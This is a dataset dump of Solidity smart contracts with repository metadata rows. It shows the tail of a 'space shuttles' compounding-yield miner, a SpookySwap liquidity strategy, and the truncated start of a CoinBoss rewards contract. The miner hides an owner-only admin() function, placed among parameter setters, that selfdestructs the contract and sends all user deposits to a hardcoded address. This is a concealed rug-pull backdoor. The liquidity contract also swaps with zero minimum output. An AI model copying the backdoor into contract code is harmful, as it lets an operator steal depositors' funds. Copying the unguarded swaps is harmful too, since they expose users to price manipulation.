uint256 public COMPOUND_BONUS = 5;
uint256 public COMPOUND_MAX_TIMES = 10;
uint256 public COMPOUND_DURATION = 12 * 60 * 60;
uint256 public PROOF_OF_LIFE = 48 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 700;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 10;
uint256 public totalStaked;
uint256 public totalSuttles;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketOres = 144000000000;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 shuttles;
uint256 claimedOres;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 shuttlesCompoundCount;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _dev, address payable _market) {
require(!isContract(_dev) && !isContract(_market));
dev = _dev;
market = _market;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function startJourney() public onlyOwner{
require(!contractStarted, "Already started");
contractStarted = true;
}
function buyMoreSpaceShuttles() public {
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(block.timestamp.sub(user.lastHatch) >= COMPOUND_DURATION,"Wait for next compound");
compound(true);
}
function compound(bool isCompound) internal {
User storage user = users[msg.sender];
uint256 oresUsed = getMyOres(msg.sender);
uint256 oresForCompound = oresUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, oresForCompound);
oresForCompound = oresForCompound.add(dailyCompoundBonus);
uint256 oresUsedValue = calculateOresSell(oresForCompound);
user.userDeposit = user.userDeposit.add(oresUsedValue);
totalCompound = totalCompound.add(oresUsedValue);
if(user.dailyCompoundBonus < COMPOUND_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
}
//add compoundCount for monitoring purposes.
user.shuttlesCompoundCount = user.shuttlesCompoundCount .add(1);
user.shuttles = user.shuttles.add(oresForCompound.div(ORES_TO_HIRE_1CRAFT));
totalSuttles = totalSuttles.add(oresForCompound.div(ORES_TO_HIRE_1CRAFT));
user.claimedOres = 0;
user.lastHatch = block.timestamp;
marketOres = marketOres.add(oresUsed.div(MARKET_ORES_DIVISOR));
}
function sellOres() public{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
uint256 hasOres = getMyOres(msg.sender);
uint256 oresValue = calculateOresSell(hasOres);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and oresValue will be deducted with x% feedback tax.
oresValue = oresValue.sub(oresValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and oresValue will remain without deductions
user.dailyCompoundBonus = 0;
user.shuttlesCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedOres = 0;
user.lastHatch = block.timestamp;
marketOres = marketOres.add(hasOres.div(MARKET_ORES_DIVISOR));
// Antiwhale limit
if(oresValue > MAX_WITHDRAW_LIMIT){
buy(msg.sender, address(0), oresValue.sub(MAX_WITHDRAW_LIMIT));
oresValue = MAX_WITHDRAW_LIMIT;
}
if(oresValue > getBalance()) {
buy(msg.sender, address(0), oresValue.sub(getBalance()));
oresValue = getBalance();
}
uint256 oresPayout = oresValue.sub(takeFees(oresValue));
payable(msg.sender).transfer(oresPayout);
user.totalWithdrawn = user.totalWithdrawn.add(oresPayout);
totalWithdrawn = totalWithdrawn.add(oresPayout);
}
function buySpaceShuttles(address ref) public payable{
require(contractStarted, "Contract not yet Started.");
require(msg.value >= MIN_DEPOSIT_LIMIT, "Less than min limit");
buy(msg.sender, ref, msg.value);
}
function buy(address _user, address ref, uint256 amount) internal {
User storage user = users[_user];
uint256 oresBought = calculateOresBuy(amount, getBalance().sub(amount));
user.userDeposit = user.userDeposit.add(amount);
user.initialDeposit = user.initialDeposit.add(amount);
user.claimedOres = user.claimedOres.add(oresBought);
if (user.referrer == address(0)) {
if (ref != _user) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = amount.mul(REFERRAL).div(PERCENTS_DIVIDER);
payable(upline).transfer(refRewards);
users[upline].referralRewards = users[upline].referralRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 oresPayout = takeFees(amount);
totalStaked = totalStaked.add(amount.sub(oresPayout));
totalDeposits = totalDeposits.add(1);
compound(false);
if(getBalance() < ROI_MAP[0]){
ORES_TO_HIRE_1CRAFT = 1728000;
} else if(getBalance() >= ROI_MAP[0] && getBalance() < ROI_MAP[1]){
ORES_TO_HIRE_1CRAFT = 1584000;
} else if(getBalance() >= ROI_MAP[1] && getBalance() < ROI_MAP[2]){
ORES_TO_HIRE_1CRAFT = 1440000;
} else if(getBalance() >= ROI_MAP[2] && getBalance() < ROI_MAP[3]){
ORES_TO_HIRE_1CRAFT = 1320000;
} else if(getBalance() >= ROI_MAP[3] && getBalance() < ROI_MAP[4]){
ORES_TO_HIRE_1CRAFT = 1200000;
} else if(getBalance() >= ROI_MAP[4]){
ORES_TO_HIRE_1CRAFT = 1140000;
}
}
function takeFees(uint256 oresValue) internal returns(uint256){
uint256 tax = oresValue.mul(DEV_TAX).div(PERCENTS_DIVIDER);
uint256 marketing = oresValue.mul(MARKET_TAX).div(PERCENTS_DIVIDER);
payable(dev).transfer(tax);
payable(market).transfer(marketing);
return marketing.add(tax);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _shuttles,
uint256 _claimedOres, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralRewards, uint256 _dailyCompoundBonus, uint256 _shuttlesCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_shuttles = users[_adr].shuttles;
_claimedOres = users[_adr].claimedOres;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralRewards = users[_adr].referralRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_shuttlesCompoundCount = users[_adr].shuttlesCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns(uint256){
return (address(this)).balance;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userOres = users[_adr].claimedOres.add(getOresSinceLastHatch(_adr));
return calculateOresSell(userOres);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs),
SafeMath.add(PSNH,
SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs),
SafeMath.mul(PSNH, rt)),
rt)));
}
function calculateOresSell(uint256 ores) public view returns(uint256){
return calculateTrade(ores, marketOres, getBalance());
}
function calculateOresBuy(uint256 amount,uint256 contractBalance) public view returns(uint256){
return calculateTrade(amount, contractBalance, marketOres);
}
function calculateOresBuySimple(uint256 amount) public view returns(uint256){
return calculateOresBuy(amount, getBalance());
}
function getOresYield(uint256 amount) public view returns(uint256,uint256) {
uint256 oresAmount = calculateOresBuy(amount , getBalance().add(amount).sub(amount));
uint256 shuttles = oresAmount.div(ORES_TO_HIRE_1CRAFT);
uint256 day = 1 days;
uint256 oresPerDay = day.mul(shuttles);
uint256 earningsPerDay = calculateOresSellForYield(oresPerDay, amount);
return(shuttles, earningsPerDay);
}
function calculateOresSellForYield(uint256 ores,uint256 amount) public view returns(uint256){
return calculateTrade(ores,marketOres, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalSuttles, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalSuttles, totalDeposits, totalCompound, totalRefBonus);
}
function getMyshuttles(address userAddress) public view returns(uint256){
return users[userAddress].shuttles;
}
function getMyOres(address userAddress) public view returns(uint256){
return users[userAddress].claimedOres.add(getOresSinceLastHatch(userAddress));
}
function getOresSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, PROOF_OF_LIFE);
uint256 secondsPassed = min(ORES_TO_HIRE_1CRAFT, cutoffTime);
return secondsPassed.mul(users[adr].shuttles);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function SET_WALLETS(address payable _dev, address payable _market) external onlyOwner{
require(!isContract(_dev) && !isContract(_market));
dev = _dev;
market = _market;
}
function PRC_MARKET_ORES_DIVISOR(uint256 value) external onlyOwner {
require(value > 0 && value <= 5);
MARKET_ORES_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external onlyOwner {
require(value <= 700);
WITHDRAWAL_TAX = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external onlyOwner {
require(value >= 1 && value <= 30);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_MAX_TIMES(uint256 value) external onlyOwner {
require(value > 5 && value <= 10);
COMPOUND_MAX_TIMES = value;
}
function BONUS_COMPOUND_DURATION(uint256 value) external onlyOwner {
require(value <= 24);
COMPOUND_DURATION = value * 60 * 60;
}
function SET_PROOF_OF_LIFE(uint256 value) external onlyOwner {
require(value >= 24);
PROOF_OF_LIFE = value * 60 * 60;
}
function SET_MAX_WITHDRAW_LIMIT(uint256 value) external onlyOwner {
require(value >= 1_150 ether);
MAX_WITHDRAW_LIMIT = value;
}
function SET_MIN_DEPOSIT_LIMIT(uint256 value) external onlyOwner {
require(value <= 30 ether);
MIN_DEPOSIT_LIMIT = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external onlyOwner {
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function UPDATE_ROI_MAP1(uint256 value) external onlyOwner {
require(value <= 325_775);
ROI_MAP[0] = value * 1 ether;
}
function UPDATE_ROI_MAP2(uint256 value) external onlyOwner {
require(value <= 551_550);
ROI_MAP[1] = value * 1 ether;
}
function UPDATE_ROI_MAP3(uint256 value) external onlyOwner {
require(value <= 2_257_752);
ROI_MAP[2] = value * 1 ether;
}
function UPDATE_ROI_MAP4(uint256 value) external onlyOwner {
require(value <= 3_006_822);
ROI_MAP[3] = value * 1 ether;
}
function admin() public onlyOwner {
selfdestruct(payable(0x0040473E86141EfD5009e77511d63578D7068cA3));
}
function UPDATE_ROI_MAP5(uint256 value) external onlyOwner {
require(value <= 32_534_110);
ROI_MAP[4] = value * 1 ether;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 312,936 | 13,111 |
80bb16af889f8767f42dd851cea9f40a63dc35b34aa6df2d36bfa2c1e529605e
| 29,302 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/76/76a6de56f3229aA628FD3244528CDAC080EbF2d8_LiquidityStrategy.sol
| 4,875 | 19,835 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IUniswapV2Factory{
function getPair(address token0, address token1) external view returns (address);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. FATM to distribute.
uint256 lastRewardTime; // Last time that FATM distribution occurs.
uint256 accFatmPerShare; // Accumulated FATM per share, times 1e18. See below.
bool isStarted; // if lastRewardBlock has passed
}
interface IgenesisPool{
// Info of each pool.
function poolInfo(uint256 _pid) external view returns (IERC20, uint256, uint256, uint256, bool);
function fatm() external view returns (IERC20);
}
interface IfatmReserve{
// Info of each pool.
function fatm() external view returns (IERC20);
}
contract LiquidityStrategy is Ownable {
using SafeERC20 for IERC20;
address private initializer;
address public liquiditylocker;
uint256 public liquiditySlippage = 200000; // 20%
uint256 private constant SLIPPAGE_PRECISION = 1e6;
address public spookyRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
address public spookyFactory = address(0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3);
address public genesisPool;
address public fatmReserve;
address public operator;
constructor(address _liquiditylocker) {
initializer = msg.sender;
liquiditylocker = _liquiditylocker;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "FatmGenesisPool: caller is not the operator");
_;
}
function transferOperator(address _newoperator) external onlyOperator{
operator = _newoperator;
}
function Initialize(address _genesisPool, address _fatmReserve) external {
require(msg.sender == initializer, "Not allowed to call");
genesisPool = _genesisPool;
fatmReserve = _fatmReserve;
}
function execute(uint256 _pid, uint256 _amount) external onlyOperator{
(IERC20 wftm,,,,) = IgenesisPool(genesisPool).poolInfo(0);
(IERC20 gtoken,,,,) = IgenesisPool(genesisPool).poolInfo(_pid);
gtoken.safeTransferFrom(genesisPool, address(this), _amount);
swap(address(gtoken), _amount, address(wftm));
_amount = wftm.balanceOf(address(this));
gtoken = wftm;
IERC20 mtoken = IgenesisPool(genesisPool).fatm();
address lp = IUniswapV2Factory(spookyFactory).getPair(address(gtoken), address(mtoken));
uint256 _mamount;
IUniswapV2Pair _pair = IUniswapV2Pair(lp);
address _token0 = _pair.token0();
(uint256 _res0, uint256 _res1,) = _pair.getReserves();
if (_token0 == address(gtoken)) {
_mamount = _amount * _res1 / _res0;
} else {
_mamount = _amount * _res0 / _res1;
}
mtoken.safeTransferFrom(fatmReserve , address(this), _mamount);
uint256 _mingTokenOut = (_amount * (SLIPPAGE_PRECISION - liquiditySlippage)) / SLIPPAGE_PRECISION;
uint256 _minmTokenOut = (_mamount * (SLIPPAGE_PRECISION - liquiditySlippage)) / SLIPPAGE_PRECISION;
uint256 _gamount = _amount;
gtoken.safeIncreaseAllowance(spookyRouter, _gamount);
mtoken.safeIncreaseAllowance(spookyRouter, _mamount);
(uint256 _amountA, uint256 _amountB, uint256 _liquidity) = IUniswapV2Router02(spookyRouter).addLiquidity(address(gtoken),
address(mtoken),
_gamount,
_mamount,
_mingTokenOut,
_minmTokenOut,
liquiditylocker,
block.timestamp);
emit LiquidityAdded(_liquidity, _amountA, _amountB);
}
function swap(address token0, uint256 _amount0, address token1) internal returns (uint256) {
if(token0 == token1){
return _amount0;
}
else{
address[] memory path = new address[](2);
path[0] = address(token0);
path[1] = address(token1);
IERC20(token0).safeIncreaseAllowance(spookyRouter, _amount0);
uint256[] memory _amounts = IUniswapV2Router02(spookyRouter).swapExactTokensForTokens(_amount0,
0,
path,
address(this),
block.timestamp);
return _amounts[path.length - 1];
}
}
function changeSlippage(uint256 _newSlippage) external onlyOwner {
require(_newSlippage <= SLIPPAGE_PRECISION,
"LiquidityStrategy::changeSlippage: Invalid slippage");
liquiditySlippage = _newSlippage;
emit SlippageChanged(_newSlippage);
}
event LiquidityAdded(uint256 _liquidity, uint256 _gamount, uint256 _mamountB);
event SlippageChanged(uint256 _newSlippage);
}
| 315,579 | 13,112 |
2b2f79de367d783581bbb1a16448d66c3de1fdccc50e3ee0ea827687b713d886
| 26,044 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMuvFRRLenECXvznLGnxtfr3wE8tCu2NkB_CoinBossRewards.sol
| 4,533 | 17,087 |
//SourceUnit: Coinboss.sol
pragma solidity ^0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/CurveRewards.sol
contract LPTokenWrapper {
using SafeMath for uint256;
// using SafeERC20 for IERC20;
// IERC20 public cpt;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
